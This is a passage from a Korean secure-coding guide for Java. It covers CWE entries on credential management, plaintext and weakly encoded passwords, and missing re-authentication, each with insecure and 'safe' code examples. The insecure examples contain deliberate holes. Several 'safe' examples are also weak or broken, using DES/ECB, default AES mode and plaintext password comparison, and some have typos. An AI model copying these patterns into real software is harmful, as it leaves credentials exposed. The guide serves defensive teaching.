4: // 계정과 비밀번호는 인자로 입력 받는다.
5: public Connection DBConnect(String id, String password) {
6: String url = "DBServer";
7: try {
8: String CONNECT_STRING = url + ":" + id + ":" + password;
9: InitialContext ctx = new InitialContext();
10: DataSource datasource = (DataSource) ctx.lookup(CONNECT_STRING);
11:
12: // 입력 받은 인자로 connection을 연결한다.
13: conn = datasource.getConnection();
14: } catch (SQLException e) { …… }
15: return conn;
16: }

데이터베이스를 사용하는 프로그램 작성시 “빈 문자열”을 패스워드로 사용하는 계정이 존재하지 않도록 데이터베이스 계정을 관리한다. 또한, 사용자 계정 및 패스워드는 암․복호화하여 사용하거나 가능한 경우 필요시 사용자로부터 직접 입력 받아 사용한다.

라. 참고 문헌

[1] CWE-255 증명 관리 - http://cwe.mitre.org/data/definitions/255.html
[2] OWASP Top 10 2010 - (OWASP 2010) A7 Insecure Cryptographic Storage
[3] Security Technical Implementation Guide Version 3 - (STIG 3) APP3210.1 CAT II

7. 패스워드 평문 저장(Plaintext Storage of Password)

가. 정의

패스워드를 암호화되지 않은 텍스트의 형태로 저장하는 것은 시스템 손상의 원인이 될 수있다. 환경설정 파일에 평문으로 패스워드를 저장하면, 환경설정 파일에 접근할 수 있는 사람은 누구나 패스워드를 알아낼 수 있다. 패스워드는 높은 수준의 암호화 알고리즘을 사용하여 관리되어져야 한다.

나. 안전한 코딩기법

패스워드를 외부 환경 파일에 저장한다면, 암호화하여 저장하는 것이 바람직하다

다. 예제

안전하지 않는 코드 예제
1: package testbed.unsafe;
2: import java.sql.*;
3: import java.util.Properties;
4: import java.io.*;
5: public class U256 {
6: public void f(String url, String name) throws IOException {
7: Connection con = null;
8: try {
9: Properties props = new Properties();
10: FileInputStream in = new FileInputStream("External.properties");
11: byte[] pass = new byte[8];
12: // 외부 파일로부터 password를 읽는다.
13: in.read(pass);
14: // password가 DB connection의 인자변수로 그대로 사용이 된다.
15: con = DriverManager.getConnection(url, name, new String(pass));
16: con.close();
17: } catch (SQLException e) {
18: System.err.println("SQLException Occured ");
19: } finally {
20: try {
21: if (con != null)
22: con.close();
23: } catch (SQLException e) {
24: System.err.println("SQLException Occured ");
25: }
26: }
27: }
28: }

위 프로그램은 속성 파일에서 읽어들인 패스워드를 String 형태 그대로 데이터베이스를 연결하는데 사용하고 있다. 사용자가 속성 파일에 공격을 위한 문자열을 저장한 경우, 프로그램이 의도한 공격에 노출될 수 있다.

안전한 코드 예제
1: package testbed.safe;
2: import java.sql.*;
3: import java.util.Properties;
4: import java.io.*;
5: public class S256 {
6: public void f(String[] args) throws IOException {
7: Connection con = null;
8: try {
9: Properties props = new Properties();
10: FileInputStream in = new FileInputStream("External.properties");
11: props.load(in);
12: String url = props.getProperty("url");
13: String name = props.getProperty("name");
14: // 외부 파일로부터 password를 읽은 후, 복호화 한다.
15: String pass = decrypt(props.getProperty("password" ));
16: // 외부 파일로부터의 패스워드를 복호화 후 사용함.
17: con = DriverManager.getConnection(url, name, pass);
18: } catch (SQLException e) {
19: System.err.println("SQLException Occured ");
20: } finally {
21: try {
22: if (con != null)
23: con.close();
24: } catch (SQLException e) {
25: System.err.println("SQLException Occured ");
26: }
27: }
28: }
29: }

외부에서 입력된 패스워드는 사용 전에 복호화 후 사용되어야 한다.

라. 참고 문헌

[1]. CWE-256 패스워드 평문저장 - http://cwe.mitre.org/data/definitions/256.html
[2]. J. Viega and G. McGraw. “Building Secure Software: How to Avoid Security Problems the Right Way”. 2002.

8. 설정파일에 패스워드(Password in Configuration File)

가. 정의

패스워드를 설정파일에 저장하는 것은 위험하다. 설정파일 등에 패스워드를 암호화되지 않은 상태로 저장하게 되면, 암호가 외부에 직접적으로 드러날 위험성이 있다. 따라서, 패스워드는 쉽게 접근할 수 없는 저장소에 저장하든지 아니면 암호화한 상태로 저장하여야 한다.

나. 안전한 코딩기법

패스워드를 외부 환경 파일에 저장한다면, 암호화하여 저장하는 것이 바람직하다.

다. 예제

안전하지 않는 코드 예제
1: package testbed.unsafe;
2: import java.io.FileInputStream;
3: import java.io.FileNotFoundException;
4: import java.io.IOException;
5: import java.sql.Connection;
6: import java.sql.DriverManager;
7: import java.sql.SQLException;
8: public class U260 {
9: public boolean connectTest(String url, String usr) {
10: Connection con = null;
11: byte[] b = new byte[1024];
12: boolean result = false;
13: try {
14: FileInputStream fs = new FileInputStream("sample.cfg");
15: // 외부데이터를 배열로 읽어온다.
16: fs.read(b);
17: // 패스워드 문자열을 만든다
18: String password = new String(b);
19: // 패스워드가 DB 연결정보로 사용이 된다.
20: con = DriverManager.getConnection(url, usr, password);
21: } catch (FileNotFoundException e) {
22: System.err.println("File Not Found Exception Occurred!");
23: } catch (IOException e) {
24: System.err.println("I/O Exception Occurred!");
25: } catch (SQLException e) {
26: System.err.println("SQL Exception Occurred!");
27: } finally {
28: try {
29: if (con != null) {
30: con.close();
31: result = true;
32: }
33: } catch (SQLException e) {
34: System.err.println("SQL Exception Occurred!");
35: }
36: }
37: return result;
38: }
39: }

위의 프로그램은 configuration 파일에 저장된 패스워드를 읽어서 그대로 데이터베이스 연결에 사용하고 있다. 이것은 다른 사람이 패스워드에 쉽게 접근할 수 있도록 하므로 프로그램 취약점을 유발할 수 있다.

안전한 코드 예제
1: public class S260 {
2: public boolean connectTest(String url, String usr, Key key) {
3: Connection con = null;
4: byte[] b = new byte[1024];
5: boolean result = false;
6: try {
7: FileInputStream fs = new FileInputStream("sample.cfg");
8: if (fs == null || fs.available() <= 0) return false;
9: // 외부 파일로 부터 암호화된 입력값을 받는다.
10: int length = fs.read(b);
11: if (length == 0) {
12: result = false;
13: } else {
14: // 암호화된 패스워드를 복호화한다.
15: Cipher cipher = Cipher.getInstance("DES/ECB/PKCS5Padding" );
16: cipher.init(Cipher.DECRYPT_MODE, key);
17: byte[] db = cipher.doFinal(b);
18: // 문자열 변환
19: String password = new String(db, "utf-8");
20: // DB 연결
21: con = DriverManager.getConnection(url, usr, password);
22: }
23: } catch (FileNotFoundException e) {
24: System.err.println("File Not Found Exception Occurred!");
25: } catch (IOException e) {
26: System.err.println("I/O Exception Occurred!");
27: } catch (SQLException e) {
28: System.err.println("SQL Exception Occurred!");
29: } catch (NoSuchAlgorithmException e) {
30: System.err.println("NoSuchAlgorithmException Occurred!");
31: } catch (NoSuchPaddingException e) {
32: System.err.println("NoSuchPaddingException Occurred!");
33: } catch (InvalidKeyException e) {
34: System.err.println("InvalidKeyException Occurred!");
35: } catch (IllegalBlockSizeException e) {
36: System.err.println("IllegalBlockSizeException Occurred!");
37: } catch (BadPaddingException e) {
38: System.err.println("BadPaddingException Occurred!");
39: } finally {
40: try {
41: if (con != null) {
42: con.close();
43: result = true; } } catch (SQLException e) {
44: System.err.println("SQL Exception Occurred!");
45: } } return result; } }

외부에 저장된 패스워드(예를 들어, 환경파일)를 데이터베이스 연결에 사용하는 경우, 읽어들인 패스워드를 검증하거나 추가적인 정보로 가공하는 로직을 거쳐서 사용해야 한다.

라. 참고 문헌

[1] CWE-260 설정파일에 패스워드 - http://cwe.mitre.org/data/definitions/260.html
[2]. J. Viega and G. McGraw. “Building Secure Software: How to Avoid Security Problems the Right Way”. 2002.

9. 패스워드에 사용된 취약한 암호화(Weak Cryptography for Passwords)

가. 정의

SW 개발자들은 환경설정 파일에 저장된 패스워드를 보호하기 위하여 간단한 인코딩 함수를 이용하여 패스워드를 감추는 방법을 사용하기도 한다. 그렇지만 base64와 같은 지나치게 간단한 인코딩 함수를 사용하는 것은 패스워드를 제대로 보호할 수 없다.

나. 안전한 코딩기법

패스워드를 인코딩하기 위해서는 이미 취약점이 알려진 인코딩 방법이나 검증되지 않은 인코딩 방법을 사용하면 안된다. 패스워드는 최소한 128비트 길이의 키를 이용하여 암호화하는 것이 바람직하다.

다. 예제

안전하지 않는 코드 예제
1: ……
2: public boolean DBConnect() throws SQLException {
3: String url = "DBServer";
4: String usr = "Scott";
5: Connection con = null;
6:
7: try {
8: Properties prop = new Properties();
9: prop.load(new FileInputStream("config.properties"));
10:
11: // 패스워드를 64bit로 decoding한다.
12: byte password[] = Base64.decode(prop.getProperty("password" ));
13:
14: // 유효성 점검없이 패스워드를 문자열로 읽는다.
15: con = DriverManager.getConnection(url, usr, password.toString());
16: } catch (FileNotFoundException e) {
17: e.printStackTrace();
18: } catch (IOException e) {
19: e.printStackTrace();
20: }
21: }

패스워드를 base64로 인코딩하여 configuration 파일에 저장한 경우이다. Basea64 인코딩 기법 자체가 가지는 취약점 때문에 이 경우 패스워드를 안전하게 보호할 수 없다.

안전한 코드 예제
1: ……
2: public boolean DBConnect() throws SQLException {
3: String url = "DBServer";
4: String usr = "Scott";
5: Connection con = null;
6:
7: try {
8: Properties prop = new Properties();
9: prop.load(new FileInputStream("config.properties"));
10:
11: // 패스워드를 AES 알고리즘 기반의 복호화 코드로 암호화 한다.
12: String password = decrypt(prop.getProperty("password" ));
13:
14: con = DriverManager.getConnection(url, usr, password);
15: } catch (FileNotFoundException e) {
16: e.printStackTrace();
17: } catch (IOException e) {
18: e.printStackTrace();
19: }
20: }
21: private static String decrypt(String encrypted) throws Exception {
22: SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes(), "AES");
23: Cipher cipher = Cipher.getInstance("AES");
24: cipher.init(Cipher.DECRYPT_MODE, skeySpec);
25: byte[] original = cipher.doFinal(hexToByteArray(encrypted));
26: return new String(original);
27: }

패스워드를 사용하는 경우에는 최소한 128비트 길이의 키를 이용하여 암호화하는 것이 바람직하다.

라. 참고 문헌

[1] CWE-261 패스워드에 사용된 취약한 암호화 - http://cwe.mitre.org/data/definitions/261.html
[2] OWASP Top 10 2010 - (OWASP 2010) A7 Insecure Cryptographic Storage
[3] J. Viega and G. McGraw. “Building Secure Software: How to Avoid Security Problems the Right Way”. 2002.

10. 중요한 함수 사용 시 자격인증 미비(Missing Authentication for Critical Function)

가. 정의

사용자의 신원이 요구되는 기능이나 상당한 자원을 소모하는 기능을 사용할 때, SW가 사용자의 자격인증 과정을 수행하지 않게 된다.

나. 안전한 코딩기법

  • 클라이언트의 보안검사를 우회하여 서버에 접근하지 못하도록 한다.
  • 중요한 정보가 있는 페이지는 재인증이 적용되도록 설계하여야 한다(은행 계좌이체 등).


※ 안전하다고 확인된 라이브러리나 프레임워크를 사용한다. 즉 OpenSSL이나 ESAPI의 보안 기능을 사용한다.

다. 예제

안전하지 않는 코드 예제
1: public void sendBankAccount(String accountNumber,double balance) {
2: ...
3: BankAccount account = new BankAccount();
4: account.setAccountNumber(accountNumber);
5: account.setToPerson(toPerson);
6: account.setBalance(balance);
7: AccountManager.send(account);
8: ...
9: }

재 인증을 거치지 않고 계좌 이체를 하고 있다.

안전한 코드 예제
1: public void sendBankAccount(HttpServletRequest request, HttpSession session,
2: String accountNumber,double balance) {
3: ...
4: // 재인증을 위한 팝업 화면을 통해 사용자의 credential을 받는다.
5: String newUserName = request.getParameter("username");
6: String newPassword = request.getParameter("password");
7: if ( newUserName == null || newPassword == null ) {
8: throw new MyEception("데이터 오류:);
9: }
10:
11: // 세션으로부터 로긴한 사용자의 credential을 읽는다.
12: String password = session.getValue("password");
13: String userName = session.getValue("username");
14:
15: // 재인증을 통해서 이체여부를 판단한다.
16: if ( isAuthenticatedUser() && newUserName.equal(userName) &&
17: newPassword.equal(password) ) {
18: BankAccount account = new BankAccount();
19: account.setAccountNumber(accountNumber);
20: account.setToPerson(toPerson);
21: account.setBalance(balance);
22: AccountManager.send(account);
23: }
24: ...
25: }

인증을 수행된 사용자만이 다시 재인증을 거쳐 계좌 이체가 가능하도록 한다.

라. 참고 문헌

[1] CWE-306 중요한 함수 사용시 자격인증 미비 - http://cwe.mitre.org/data/definitions/306.html
CWE-302 허위-불변 데이터로 인증우회 - http://cwe.mitre.org/data/definitions/302.html
CWE-307 과도한 인증 시도 제한실패 - http://cwe.mitre.org/data/definitions/307.html
CWE-287 부적절한 인가 - http://cwe.mitre.org/data/definitions/287.html
CWE-602 서버단 보안에 클라이언트단 보안강제 - http://cwe.mitre.org/data/definitions/602.html
[2] CWE/SANS Top 25 Most Dangerous Software Errors, http://cwe.mitre.org/top25/